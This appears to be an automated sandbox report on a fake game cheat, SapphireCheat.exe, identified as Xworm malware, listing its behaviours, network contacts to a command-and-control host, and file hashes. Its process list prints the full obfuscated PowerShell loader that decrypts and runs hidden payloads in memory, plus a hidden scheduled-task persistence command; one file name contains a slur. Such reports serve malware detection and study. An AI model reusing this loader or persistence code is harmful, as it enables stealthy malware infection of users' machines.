Analysis Overview
SHA256
5cdf5eba807579ba5d22aea46bfbcbcbbeabfe1e7a348cb808dd2e572ec19cde
Threat Level: Known bad
The file SapphireCheat.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Looks up external IP address via web service
Adds Run key to start application
Enumerates physical storage devices
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
Modifies registry class
Delays execution with timeout.exe
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-11 00:55
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-11 00:55
Reported
2024-06-11 01:12
Platform
win10-20240404-en
Max time kernel
616s
Max time network
875s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NotXworm.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NotXworm.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Windows\CurrentVersion\Run\NotXworm = "C:\\Users\\Admin\\AppData\\Roaming\\NotXworm.exe" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\timeout.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\SapphireCheat.exe
"C:\Users\Admin\AppData\Local\Temp\SapphireCheat.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\niggacheat.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RvISoW9Zo5b6dLtRD+coEqc0J3+spaRL3CgBK5wZB9Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O/VMRpkSTYJqJ/mrj0X+jw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rVpQV=New-Object System.IO.MemoryStream(,$param_var); $caepj=New-Object System.IO.MemoryStream; $TDtpW=New-Object System.IO.Compression.GZipStream($rVpQV, [IO.Compression.CompressionMode]::Decompress); $TDtpW.CopyTo($caepj); $TDtpW.Dispose(); $rVpQV.Dispose(); $caepj.Dispose(); $caepj.ToArray();}function execute_function($param_var,$param2_var){ $KPOjO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $gfhhi=$KPOjO.EntryPoint; $gfhhi.Invoke($null, $param2_var);}$ibPxH = 'C:\Users\Admin\AppData\Local\Temp\niggacheat.bat';$host.UI.RawUI.WindowTitle = $ibPxH;$PTzvj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ibPxH).Split([Environment]::NewLine);foreach ($JVFZH in $PTzvj) { if ($JVFZH.StartsWith(':: ')) { $NTJmB=$JVFZH.Substring(3); break; }}$payloads_var=[string[]]$NTJmB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_534_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_534.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_534.vbs"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_534.bat" "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RvISoW9Zo5b6dLtRD+coEqc0J3+spaRL3CgBK5wZB9Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O/VMRpkSTYJqJ/mrj0X+jw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rVpQV=New-Object System.IO.MemoryStream(,$param_var); $caepj=New-Object System.IO.MemoryStream; $TDtpW=New-Object System.IO.Compression.GZipStream($rVpQV, [IO.Compression.CompressionMode]::Decompress); $TDtpW.CopyTo($caepj); $TDtpW.Dispose(); $rVpQV.Dispose(); $caepj.Dispose(); $caepj.ToArray();}function execute_function($param_var,$param2_var){ $KPOjO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $gfhhi=$KPOjO.EntryPoint; $gfhhi.Invoke($null, $param2_var);}$ibPxH = 'C:\Users\Admin\AppData\Roaming\startup_str_534.bat';$host.UI.RawUI.WindowTitle = $ibPxH;$PTzvj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ibPxH).Split([Environment]::NewLine);foreach ($JVFZH in $PTzvj) { if ($JVFZH.StartsWith(':: ')) { $NTJmB=$JVFZH.Substring(3); break; }}$payloads_var=[string[]]$NTJmB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp311D.tmp.bat""
C:\Windows\SysWOW64\timeout.exe
timeout 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.129.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | 233.129.159.162.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| US | 8.8.8.8:53 | community-married.gl.at.ply.gg | udp |
| US | 147.185.221.20:14614 | community-married.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 20.221.185.147.in-addr.arpa | udp |
| US | 147.185.221.20:14614 | community-married.gl.at.ply.gg | tcp |
| US | 52.111.227.14:443 | tcp | |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.72.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.107.17.2.in-addr.arpa | udp |
| NL | 52.142.223.178:80 | tcp | |
| US | 8.8.8.8:53 | 76.234.34.23.in-addr.arpa | udp |
Files
memory/4616-0-0x000000007405E000-0x000000007405F000-memory.dmp
memory/4616-1-0x0000000000E10000-0x0000000000E18000-memory.dmp
memory/4616-2-0x0000000074050000-0x000000007473E000-memory.dmp
memory/4616-7-0x0000000074050000-0x000000007473E000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\niggacheat.bat
| MD5 | 2b23db82c46f2c0a88efe48abbea5674 |
| SHA1 | 9e15646e39850cec18cd1ce7d77d94053bbffdda |
| SHA256 | 9775a1e30026a775ecae0e3c2a56ec52b9d34a3de7a1ccd2bbea466e9d4c840c |
| SHA512 | 5546c88bb3cd418bbf980cd0fbc3420d380efb7a7e7f18e85f123869ef870d49a30ad19a14b363c497227b43d8e4d6f8d2ea978da80ada61809a2a3b3edc1322 |
memory/2896-11-0x0000000004540000-0x0000000004576000-memory.dmp
memory/2896-12-0x0000000073FC0000-0x00000000740B5000-memory.dmp
memory/2896-13-0x0000000006D10000-0x0000000007338000-memory.dmp
memory/2896-14-0x0000000006C80000-0x0000000006CA2000-memory.dmp
memory/2896-15-0x00000000073B0000-0x0000000007416000-memory.dmp
memory/2896-16-0x0000000007600000-0x0000000007666000-memory.dmp
memory/2896-17-0x0000000007670000-0x00000000079C0000-memory.dmp
memory/2896-20-0x0000000007540000-0x000000000755C000-memory.dmp
memory/2896-21-0x0000000007D60000-0x0000000007DAB000-memory.dmp
memory/2896-22-0x0000000007DB0000-0x0000000007E26000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3zit0j0.i4p.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2896-33-0x0000000073FC0000-0x00000000740B5000-memory.dmp
memory/2896-38-0x0000000009540000-0x0000000009BB8000-memory.dmp
memory/2896-39-0x0000000008AC0000-0x0000000008ADA000-memory.dmp
memory/2896-40-0x0000000008B00000-0x0000000008B08000-memory.dmp
memory/2896-41-0x0000000008DD0000-0x0000000008E6C000-memory.dmp
memory/2896-52-0x0000000008EC0000-0x0000000008EF4000-memory.dmp
memory/2896-53-0x0000000009BC0000-0x000000000A0BE000-memory.dmp
memory/380-79-0x0000000009970000-0x00000000099A3000-memory.dmp
memory/380-80-0x0000000070B80000-0x0000000070BCB000-memory.dmp
memory/380-81-0x0000000009950000-0x000000000996E000-memory.dmp
memory/380-86-0x0000000009AF0000-0x0000000009B95000-memory.dmp
memory/380-87-0x0000000009C90000-0x0000000009D24000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4ecdc849e8f1fa4c307d5ff914a9908f |
| SHA1 | cb98ecbb7bb6b24df63aa11a111085bbf4cf4acd |
| SHA256 | 0f8c2a657bac638003c9f92a420bdcf009f9720abc78f9446c31085e226c0144 |
| SHA512 | 7c0eeedde44c6d33b8a959de6a54dc79b7ed50b72cf22a6e74ef20be2a1eb4232acb00da7c9a2eb05ee74f3251c247fe47cb97d8f9866d9e3e81dbbc0bd1f36d |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
| MD5 | a8641a2f94483f12ba0cad0cf02a3bc7 |
| SHA1 | fae3e6835336154b90503431279eef6c52a289d2 |
| SHA256 | ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d |
| SHA512 | 5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62 |
C:\Users\Admin\AppData\Roaming\startup_str_534.vbs
| MD5 | 360bb30336a5b49226d9c4baa5013778 |
| SHA1 | 516b6e0a304b042d7c3d33e166d4bb8236d27cbb |
| SHA256 | 6b903426d215de176a4e8be2ed0891f4f3933aede3c7a5cbac5abcb6b52ce4e7 |
| SHA512 | 979716eec9d585bb23ec641f5f34df448ff674606d0aefd73bfc69571a3b3ec33b0957276668a97060ccbb01b102be514313e248c0a292740ed14b8c9b137337 |
memory/2356-220-0x0000000009D40000-0x0000000009D74000-memory.dmp
memory/2356-223-0x00000000086E0000-0x00000000086F0000-memory.dmp
memory/2896-227-0x0000000073FC0000-0x00000000740B5000-memory.dmp
memory/2356-232-0x000000000AA20000-0x000000000AAB2000-memory.dmp
memory/2356-233-0x0000000009D70000-0x0000000009D7A000-memory.dmp
memory/2356-237-0x0000000009DD0000-0x0000000009DDC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp311D.tmp.bat
| MD5 | 13a11ac22f33816f316d76515312dd6f |
| SHA1 | 14283b8fc542b09247f0ad35fa2b1188c25be389 |
| SHA256 | c76b3adf1e4e8b86578328153f2a0401279ca74067d478a923e2cdf140421cf8 |
| SHA512 | 20c5b7ee3bc788ac7eab986e77b5cea82a84a540a13b51302209564db94261ca5145fcfa82648990373250509fe8a44a1cd0d584c4aad1b00833f55b7ec66571 |